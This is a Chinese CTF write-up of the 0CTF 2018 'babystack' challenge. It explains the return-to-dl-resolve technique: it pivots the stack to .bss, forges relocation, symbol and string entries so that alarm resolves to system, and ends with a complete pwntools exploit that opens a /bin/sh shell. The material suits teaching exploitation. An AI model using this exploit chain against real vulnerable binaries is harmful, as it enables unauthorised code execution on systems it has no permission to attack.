0ctf2018 babystack

去年0ctf的一道题,babystack,应该是最简单的一道题目。

这道题涉及到了一个知识点return to dl resolve,对操作系统层面的知识了解太少,程序员的自我修养还没看完….,感觉这种利用点自己不总结一遍弄懂每一个点时间长了就又会忘记。

题目简述

题目就是一个输入,如果输入过长则崩溃。

1
2
3
$ ./babystack
111111111111111111111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)

题目漏洞

使用ida反编译一下可以看到逻辑很简单,一个read函数,一个很明显的缓冲区漏洞,距离ebp为0x28,接受0x40长度的输入。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main()
{
alarm(0xAu);
sub_804843B();
return 0;
}
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]

return read(0, &buf, 0x40u);
}

没有libc,无法通过正常的泄露地址并计算system或one_gadget地址来get shell。看到一个利用方法是return to dl resolve,通过伪造.dynsym和.dynstr段中的内容,不用泄露libc即可执行system函数来get shell。这里我可能不会太多的去写原理了,参考链接里讲的很详细了,我可能重点分析利用过程中payload的构造。

利用过程

因为题目输入的长度为0x40,因此第一阶段的rop长度最多为0x40,使得程序跳转到read函数,为第二次输入做准备。构造的payload如下。另外我至今也没弄懂为什么要在bss_addr+0x800上构造。而且其他偏移是不可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bss_addr = 0x0804a000
bss_stage = bss_addr + 0x800
read_plt = elf.plt["read"]
leave_ret = 0x080483a8

payload = 'a'*0x28
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)

#print hex(len(payload))
p.send(payload)

这样可以有第二次输入的机会,第二次输入的payload将写在以bss_stage处。执行完read函数后将执行leave_ret,该指令的执行过程如下,此时ebp的值是bss_stage,因此最后返回到bss_stage+0x4,也就是0x0804a804处的指令继续执行。

1
2
3
mov esp,ebp
pop ebp
retn

接下来进行第二次的输入,这里会用到elf文件某些节的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ readelf -S babystack
There are 29 section headers, starting at offset 0x1150:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4
[10] .rel.plt REL 080482b0 0002b0 000018 08 AI 5 24 4
[11] .init PROGBITS 080482c8 0002c8 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482f0 0002f0 000040 04 AX 0 0 16
[13] .plt.got PROGBITS 08048330 000330 000008 00 AX 0 0 8
[14] .text PROGBITS 08048340 000340 0001b2 00 AX 0 0 16
[15] .fini PROGBITS 080484f4 0004f4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048508 000508 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048510 000510 000034 00 A 0 0 4
[18] .eh_frame PROGBITS 08048544 000544 0000ec 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1
[27] .comment PROGBITS 00000000 001020 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001054 0000fa 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

伪造elf表项

这里伪造了alarm函数的重定位表项,重定位表的结构如下:

1
2
3
4
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

其中r_offset表示重定位入口的偏移,对于函数来说,这个值其实就是它在.got.plt全局函数偏移表中的值。r_info这个值表示了重定位入口的类型和符号,其中地8位表示重定位入口的偏移,高24位表示重定位入口的符号在.dynsym动态符号表中的下标。可以使用以下命令查看重定位表:

1
2
3
4
5
6
7
8
9
10
11
$ readelf -r babystack

Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__

Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0

alarm函数对应在.got.plt的地址就是0x0804a010:
1
.dynsym是动态符号表,中存储着与动态链接相关的符号,结构如下:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //表示该成员在字符串表中的下标
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;

alarm函数的r_info为0x207,0x207 >> 8 = 2,那么alarm函数在.dynsym动态符号表中的下标就是2:

1
2
3
4
5
6
7
8
9
10
$ readelf -s babystack

Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
5: 0804850c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used

.dynsym的起始地址是0x080481cc,每个Elf32_Sym结构的大小为0x10,我们可以看到alarm函数在动态符号表中的内容:

1
2
gdb-peda$ x /4wx 0x080481cc+0x10*2
0x80481ec: 0x0000001f 0x00000000 0x00000000 0x00000012

其中第一项是st_name,记录该函数在.dynstr字符串表中的下标,.dynstr存储了动态链接的字符串,每个成员均以’\x00’作为结尾,可以在0x0804822c+0x1f中看到“alarm”这个字符串:

1
2
gdb-peda$ x /s 0x0804822c+0x1f
0x804824b: "alarm"

我们需要伪造上面说的这些结构,使得函数在调用_dl_runtime_resolve进行符号解析时,伪造system函数为alarm函数。

在bss_stage+28处伪造.rel.plt重定位表,该表的r_info成员右移8位是函数在.dynsym动态符号表的下标,在bss_stage+36处伪造.dynsym动态符号表,因为.dynsym每一个表项的长度都是0x10,因此需要对齐到0x10,首先计算下标伪造重定位表:

1
2
3
4
5
6
7
8
9
10
11
#计算下标
dynsym = 0x080481cc
fake_sym_addr = bss_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #在fake dynsym的下标

#fake .rel.plt
alarm_got = elf.got["alarm"]
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(alarm_got) + p32(r_info) #r_offset和r_info

接下来伪造.dynsym,因为.dynsym的第一个成员是函数在.dynstr的下标,我们在bss_stage+36+0x10处,也就是fake dynsym后面伪造.dynstr:

1
2
3
dynstr = 0x0804822c
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload构造

得到这些伪造的表项,如何构造payload呢?由于系统的延迟绑定机制,在第一次调用该函数时才会将其真正的地址写入到GOT条目中。在调用alarm@plt时,程序会跳转到alarm在GOT表中的地址:

1
2
gdb-peda$ x /i 0x08048310
0x8048310 <alarm@plt>: jmp DWORD PTR ds:0x804a010

在调用alarm函数之前,alarm函数的GOT表中存储的是alarm@plt的下一条指令的地址:

1
2
gdb-peda$ x /wx 0x0804a010
0x804a010: 0x08048316

0x08048316处的指令如下,将0x8压栈,这个0x8是alarm的重定位表项在.rel.plt的偏移,然后跳转至0x080482f0处,该地址是.plt的起始地址,也就是PLT[0]处执行:

1
2
3
gdb-peda$ x /2i 0x08048316
0x8048316 <alarm@plt+6>: push 0x8
0x804831b <alarm@plt+11>: jmp 0x80482f0

0x080482f0处将0x804a004压栈,该地址是GOT[1],然后跳转至GOT[2]处执行:

1
2
3
gdb-peda$ x /2i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004
0x80482f6: jmp DWORD PTR ds:0x804a008

GOT[2]处保存着_dl_runtime_resolve函数的地址,那么0x8和GOT[1]就是该函数的参数,然后该函数完成alarm的重定位工作,然后再跳转至真正的alarm函数的地址处去执行。

1
2
gdb-peda$ x /x 0x804a008
0x804a008: 0xf7fee000

1
2
3
4
5
6
7
8
9
gdb-peda$ x /8i 0xf7fee000
0xf7fee000 <_dl_runtime_resolve>: push eax
0xf7fee001 <_dl_runtime_resolve+1>: push ecx
0xf7fee002 <_dl_runtime_resolve+2>: push edx
0xf7fee003 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fee007 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b <_dl_runtime_resolve+11>: call 0xf7fe77e0 <_dl_fixup>
0xf7fee010 <_dl_runtime_resolve+16>: pop edx
0xf7fee011 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]

那么我们在构造时要想调用_dl_runtime_resolve函数,可以直接接上一个payload返回到PLT[0]处执行,然后手动将其在重定位表中的偏移压栈,然后程序根据我们伪造的各种表将system函数的地址写入到alarm的GOT表条目中,然后再调用system函数,获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
plt_0 = 0x080482f0
rel_plt = 0x080482b0
index_offset = (bss_stage + 28) - rel_plt

payload = 'a'*0x4
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa' #system函数的返回地址
payload += p32(bss_stage+80) #system函数的参数/bin/sh
payload += 'aaaa'
payload += 'aaaa'
payload += fake_reloc #bss_stage+28
payload += 'a'*align
payload += fake_sym #bss_stage+36
payload += "system\x00" #fake st_name
payload = payload.ljust(80,'a')
payload += "/bin/sh\x00"
payload = payload.ljust(100,'a')

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

p = process("./babystack")
elf = ELF("./babystack")


bss_addr = 0x0804a000
bss_stage = 0x0804a000 + 0x800

read_plt = elf.plt["read"]

pop_ebp_ret = 0x080484eb
leave_ret = 0x080483a8


#gdb.attach(p)

payload = 'a'*0x28
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)

print hex(len(payload))
p.send(payload)

plt_0 = 0x080482f0
rel_plt = 0x080482b0
index_offset = (bss_stage + 28) - rel_plt

dynsym = 0x080481cc
dynstr = 0x0804822c
fake_sym_addr = bss_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10

alarm_got = elf.got["alarm"]
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)

st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)


payload = 'a'*0x4
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage+80)
payload += 'aaaa'
payload += 'aaaa'
payload += fake_reloc #bss_stage+28
payload += 'a'*align
payload += fake_sym #bss_stage+36
payload += "system\x00" #fake st_name
payload = payload.ljust(80,'a')
payload += "/bin/sh\x00"
payload = payload.ljust(100,'a')
p.sendline(payload)

p.interactive()

参考

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/